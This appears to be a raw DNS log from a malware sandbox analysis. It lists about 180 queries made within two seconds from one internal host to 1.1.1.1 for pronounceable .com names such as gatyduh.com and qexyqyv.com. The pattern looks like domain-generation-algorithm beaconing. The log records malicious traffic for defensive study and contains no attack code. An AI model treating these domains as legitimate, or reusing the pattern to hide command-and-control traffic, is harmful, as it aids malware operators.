                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.297593117 CET192.168.2.41.1.1.10xe801Standard query (0)gatyduh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.297964096 CET192.168.2.41.1.1.10x43f0Standard query (0)qexyqyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.298289061 CET192.168.2.41.1.1.10x39c9Standard query (0)lyvylod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.298475981 CET192.168.2.41.1.1.10x542cStandard query (0)gaqyzoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.298937082 CET192.168.2.41.1.1.10x3eebStandard query (0)qegyfil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.299242020 CET192.168.2.41.1.1.10xaa5aStandard query (0)gacyqys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.299485922 CET192.168.2.41.1.1.10x9ad5Standard query (0)vonyrot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.299663067 CET192.168.2.41.1.1.10xe881Standard query (0)qeqyloq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.303452969 CET192.168.2.41.1.1.10x35b8Standard query (0)puvyliv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.304030895 CET192.168.2.41.1.1.10x32eeStandard query (0)gatycyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.304845095 CET192.168.2.41.1.1.10x2cabStandard query (0)qebylov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.304845095 CET192.168.2.41.1.1.10x2598Standard query (0)qetyxeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.305129051 CET192.168.2.41.1.1.10x4b4dStandard query (0)gacykub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.305231094 CET192.168.2.41.1.1.10xcf00Standard query (0)qedyvuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.305596113 CET192.168.2.41.1.1.10x72d0Standard query (0)gadyvis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.305784941 CET192.168.2.41.1.1.10x68dStandard query (0)gadyduz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.305896997 CET192.168.2.41.1.1.10x6bb0Standard query (0)qeqytal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.307132006 CET192.168.2.41.1.1.10xedd8Standard query (0)vojymet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.307611942 CET192.168.2.41.1.1.10xadStandard query (0)pupycuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.312576056 CET192.168.2.41.1.1.10xe1e0Standard query (0)qexykug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.312783957 CET192.168.2.41.1.1.10x2bdStandard query (0)gahynaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.313417912 CET192.168.2.41.1.1.10x40d9Standard query (0)gahyfow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.695333958 CET192.168.2.41.1.1.10xa919Standard query (0)volymaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.697731018 CET192.168.2.41.1.1.10xc13fStandard query (0)qedysyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.703422070 CET192.168.2.41.1.1.10x675eStandard query (0)pupypep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.703846931 CET192.168.2.41.1.1.10xf644Standard query (0)ganykuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.705240011 CET192.168.2.41.1.1.10x1539Standard query (0)pumyliq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.706218004 CET192.168.2.41.1.1.10xce29Standard query (0)galynab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.707223892 CET192.168.2.41.1.1.10xcfaStandard query (0)vonykuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.707712889 CET192.168.2.41.1.1.10x330Standard query (0)qekynog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.708884954 CET192.168.2.41.1.1.10x9db8Standard query (0)lysysyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.709197998 CET192.168.2.41.1.1.10x6078Standard query (0)gaqykus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.709517002 CET192.168.2.41.1.1.10xcf1eStandard query (0)lyrytod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.710158110 CET192.168.2.41.1.1.10xb09cStandard query (0)pufypeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.711168051 CET192.168.2.41.1.1.10xcac2Standard query (0)qexynol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.713917017 CET192.168.2.41.1.1.10xd013Standard query (0)lygysen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.715353966 CET192.168.2.41.1.1.10x66a7Standard query (0)gacynow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.721337080 CET192.168.2.41.1.1.10x6f22Standard query (0)purylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.723164082 CET192.168.2.41.1.1.10x1ebcStandard query (0)puvymaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.729300976 CET192.168.2.41.1.1.10x191aStandard query (0)qetylip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.729615927 CET192.168.2.41.1.1.10x43e2Standard query (0)gahydyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.730351925 CET192.168.2.41.1.1.10xebStandard query (0)vocymak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.733522892 CET192.168.2.41.1.1.10xccbdStandard query (0)lyrylix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.733670950 CET192.168.2.41.1.1.10x7063Standard query (0)qegysyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.734754086 CET192.168.2.41.1.1.10x45adStandard query (0)vowykuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.759828091 CET192.168.2.41.1.1.10xcd8eStandard query (0)galyfis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.765048981 CET192.168.2.41.1.1.10xfc4bStandard query (0)vopypec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.768225908 CET192.168.2.41.1.1.10xa254Standard query (0)lyvyjyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.768606901 CET192.168.2.41.1.1.10xb4c9Standard query (0)vowyrif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.770596027 CET192.168.2.41.1.1.10x234eStandard query (0)pujybig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.770800114 CET192.168.2.41.1.1.10xc919Standard query (0)gatypas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.771931887 CET192.168.2.41.1.1.10x67dStandard query (0)qebykul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.773554087 CET192.168.2.41.1.1.10x68a2Standard query (0)qedyxel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.777096033 CET192.168.2.41.1.1.10x21c8Standard query (0)qexyhap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.777323008 CET192.168.2.41.1.1.10xa89fStandard query (0)lymywun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.777580976 CET192.168.2.41.1.1.10xb8d7Standard query (0)lygyvuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.779129028 CET192.168.2.41.1.1.10x7ba7Standard query (0)gacyhez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.779184103 CET192.168.2.41.1.1.10x9074Standard query (0)pufycyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.781001091 CET192.168.2.41.1.1.10xa67Standard query (0)qegyvuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.793471098 CET192.168.2.41.1.1.10x74fbStandard query (0)gahyvuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.793906927 CET192.168.2.41.1.1.10xcde8Standard query (0)lykynon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.795166969 CET192.168.2.41.1.1.10x6efdStandard query (0)vocyjet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.796207905 CET192.168.2.41.1.1.10x2935Standard query (0)vonyqym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.796653032 CET192.168.2.41.1.1.10xf372Standard query (0)vojybim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.796796083 CET192.168.2.41.1.1.10x34c4Standard query (0)lyxygax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.797080040 CET192.168.2.41.1.1.10x10f3Standard query (0)gaqyrib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.797298908 CET192.168.2.41.1.1.10x93ddStandard query (0)volygoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.797569990 CET192.168.2.41.1.1.10x840fStandard query (0)qetytav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.797979116 CET192.168.2.41.1.1.10xa54dStandard query (0)vofycyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.798289061 CET192.168.2.41.1.1.10x1b8bStandard query (0)puzygop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.799356937 CET192.168.2.41.1.1.10xbdf2Standard query (0)qeqyrug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.803713083 CET192.168.2.41.1.1.10x374Standard query (0)pumywug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.815578938 CET192.168.2.41.1.1.10x71f9Standard query (0)purytov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.817967892 CET192.168.2.41.1.1.10x80d5Standard query (0)lysyxar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.818860054 CET192.168.2.41.1.1.10x38d3Standard query (0)qekyfiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.819217920 CET192.168.2.41.1.1.10xac69Standard query (0)vopyzot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.819540024 CET192.168.2.41.1.1.10x6cddStandard query (0)pupyxal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.820168018 CET192.168.2.41.1.1.10xfccbStandard query (0)pujyduv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.820504904 CET192.168.2.41.1.1.10xb186Standard query (0)lykyfud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.820820093 CET192.168.2.41.1.1.10x96efStandard query (0)qebyqeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.822700024 CET192.168.2.41.1.1.10x1928Standard query (0)puvyjyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.823003054 CET192.168.2.41.1.1.10x7775Standard query (0)ganyqyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.826061964 CET192.168.2.41.1.1.10xdb3cStandard query (0)vojyduf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.827131033 CET192.168.2.41.1.1.10x539cStandard query (0)lyvymej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.828566074 CET192.168.2.41.1.1.10xd86dStandard query (0)gadycew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.828685045 CET192.168.2.41.1.1.10x1ee5Standard query (0)gatyzoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.704540014 CET192.168.2.41.1.1.10x2584Standard query (0)gadypah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.704701900 CET192.168.2.41.1.1.10x63fbStandard query (0)puzybil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.704876900 CET192.168.2.41.1.1.10x2aa3Standard query (0)qeqykyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.709461927 CET192.168.2.41.1.1.10x22abStandard query (0)lymyjyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.719146967 CET192.168.2.41.1.1.10x16b8Standard query (0)lyxynir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.726094007 CET192.168.2.41.1.1.10xbc8Standard query (0)gatyruw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.726603985 CET192.168.2.41.1.1.10x188eStandard query (0)vofypam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.737602949 CET192.168.2.41.1.1.10x2227Standard query (0)vopyrik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.769094944 CET192.168.2.41.1.1.10x5793Standard query (0)qekyvup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.769975901 CET192.168.2.41.1.1.10xec12Standard query (0)vonyjef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.770627975 CET192.168.2.41.1.1.10x2e4fStandard query (0)lysytoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.771233082 CET192.168.2.41.1.1.10x60f4Standard query (0)ganyhab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.771589041 CET192.168.2.41.1.1.10xe887Standard query (0)pumyjev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.771903038 CET192.168.2.41.1.1.10xb383Standard query (0)qedytoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.781177044 CET192.168.2.41.1.1.10x411dStandard query (0)volybut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.781260967 CET192.168.2.41.1.1.10xe06Standard query (0)qebyhag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.789603949 CET192.168.2.41.1.1.10xfae2Standard query (0)puryjeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.791166067 CET192.168.2.41.1.1.10x2139Standard query (0)vocybuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.792031050 CET192.168.2.41.1.1.10x3dcbStandard query (0)qegytop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.792337894 CET192.168.2.41.1.1.10x862fStandard query (0)qetykyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.792646885 CET192.168.2.41.1.1.10xb4daStandard query (0)vojycec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.794671059 CET192.168.2.41.1.1.10xdaa1Standard query (0)vowyqyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.794729948 CET192.168.2.41.1.1.10x3168Standard query (0)vonymoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.798214912 CET192.168.2.41.1.1.10xca5aStandard query (0)lysylun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.798587084 CET192.168.2.41.1.1.10xa637Standard query (0)lymymax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.798968077 CET192.168.2.41.1.1.10x6166Standard query (0)galydyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.808227062 CET192.168.2.41.1.1.10x7c61Standard query (0)gadyzib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.808710098 CET192.168.2.41.1.1.10x692dStandard query (0)qedylig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.809324980 CET192.168.2.41.1.1.10xb61aStandard query (0)lygyxad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.811662912 CET192.168.2.41.1.1.10xe03Standard query (0)galyvuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.824805975 CET192.168.2.41.1.1.10x5eaStandard query (0)volydyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.825376987 CET192.168.2.41.1.1.10x7cd7Standard query (0)gatykyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.825587988 CET192.168.2.41.1.1.10xf4cbStandard query (0)puvybuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.825720072 CET192.168.2.41.1.1.10xc232Standard query (0)lyvynid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.829344988 CET192.168.2.41.1.1.10xd91bStandard query (0)qebyniv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.829754114 CET192.168.2.41.1.1.10xc410Standard query (0)gahypoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.829788923 CET192.168.2.41.1.1.10xaa82Standard query (0)pujypal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.829973936 CET192.168.2.41.1.1.10xeeccStandard query (0)gahyces.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.830177069 CET192.168.2.41.1.1.10xf2fbStandard query (0)gaqyqez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.830256939 CET192.168.2.41.1.1.10x59b1Standard query (0)lyryjej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.830382109 CET192.168.2.41.1.1.10x9cf3Standard query (0)vojypat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.830549002 CET192.168.2.41.1.1.10xb1b1Standard query (0)lyvygon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.835402966 CET192.168.2.41.1.1.10xfbb8Standard query (0)qekysel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.835702896 CET192.168.2.41.1.1.10x3302Standard query (0)ganynos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.838650942 CET192.168.2.41.1.1.10x94c9Standard query (0)lyrywur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.838773012 CET192.168.2.41.1.1.10x897eStandard query (0)vopykum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.839519978 CET192.168.2.41.1.1.10xf27dStandard query (0)purywyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.839698076 CET192.168.2.41.1.1.10x6611Standard query (0)qetyrul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.839843988 CET192.168.2.41.1.1.10x92b8Standard query (0)gacyfih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.839874029 CET192.168.2.41.1.1.10x828Standard query (0)puzyduq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.840118885 CET192.168.2.41.1.1.10xee7Standard query (0)qegyxav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.840234995 CET192.168.2.41.1.1.10xc916Standard query (0)pufyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.840754986 CET192.168.2.41.1.1.10x6d05Standard query (0)vofyzof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.841034889 CET192.168.2.41.1.1.10x54bbStandard query (0)pupytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.841973066 CET192.168.2.41.1.1.10x33c5Standard query (0)lyxyfuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.842030048 CET192.168.2.41.1.1.10xd1afStandard query (0)pumymap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.842241049 CET192.168.2.41.1.1.10xbedStandard query (0)lykyvyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.842281103 CET192.168.2.41.1.1.10x7c86Standard query (0)pujycyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.843075037 CET192.168.2.41.1.1.10x484bStandard query (0)vocygim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.843323946 CET192.168.2.41.1.1.10x4d1dStandard query (0)qexyfuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.844597101 CET192.168.2.41.1.1.10xcb38Standard query (0)lykyser.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.851768017 CET192.168.2.41.1.1.10x26daStandard query (0)pupylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.852014065 CET192.168.2.41.1.1.10x3d9bStandard query (0)qeqyqep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.855902910 CET192.168.2.41.1.1.10x1483Standard query (0)puvygog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.886042118 CET192.168.2.41.1.1.10x626bStandard query (0)gacyvub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.887461901 CET192.168.2.41.1.1.10x7806Standard query (0)lygytix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.887731075 CET192.168.2.41.1.1.10xf542Standard query (0)vowyjak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.890106916 CET192.168.2.41.1.1.10x6e6Standard query (0)qexyvyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.890670061 CET192.168.2.41.1.1.10x9317Standard query (0)gaqyhaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.891844988 CET192.168.2.41.1.1.10x5438Standard query (0)lyxyvyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.893649101 CET192.168.2.41.1.1.10x32bfStandard query (0)pufytip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.895220041 CET192.168.2.41.1.1.10x9c88Standard query (0)qeqyhol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.895277023 CET192.168.2.41.1.1.10x9e57Standard query (0)puzyceg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.898391008 CET192.168.2.41.1.1.10x4030Standard query (0)gadyrus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.906577110 CET192.168.2.41.1.1.10x211eStandard query (0)lymygor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.911734104 CET192.168.2.41.1.1.10x457bStandard query (0)vofyruc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.912051916 CET192.168.2.41.1.1.10x3681Standard query (0)pupywyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.913861036 CET192.168.2.41.1.1.10xb285Standard query (0)ganyfuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.915494919 CET192.168.2.41.1.1.10x2539Standard query (0)qekyxaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.917254925 CET192.168.2.41.1.1.10xa9acStandard query (0)lysywyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.917836905 CET192.168.2.41.1.1.10x4e5Standard query (0)vojyrum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.925045967 CET192.168.2.41.1.1.10x24b6Standard query (0)gatyhos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.925899029 CET192.168.2.41.1.1.10xcf27Standard query (0)qetyhov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.925941944 CET192.168.2.41.1.1.10x8512Standard query (0)pujytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.926196098 CET192.168.2.41.1.1.10xfa69Standard query (0)vonygit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.927476883 CET192.168.2.41.1.1.10x803bStandard query (0)lykyxoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.929594040 CET192.168.2.41.1.1.10x75d5Standard query (0)lyvyver.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.929687023 CET192.168.2.41.1.1.10x9348Standard query (0)ganyvyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.930326939 CET192.168.2.41.1.1.10xc5fcStandard query (0)pupyjap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.931899071 CET192.168.2.41.1.1.10x1bc2Standard query (0)vonybuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.932286024 CET192.168.2.41.1.1.10x9bf3Standard query (0)lykytin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.933748007 CET192.168.2.41.1.1.10x8d92Standard query (0)vopyjac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.933845043 CET192.168.2.41.1.1.10x653aStandard query (0)qebyvyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.934808016 CET192.168.2.41.1.1.10x51bdStandard query (0)qekytig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.937309027 CET192.168.2.41.1.1.10x60fdStandard query (0)galypob.comA (IP address)IN (0x0001)false
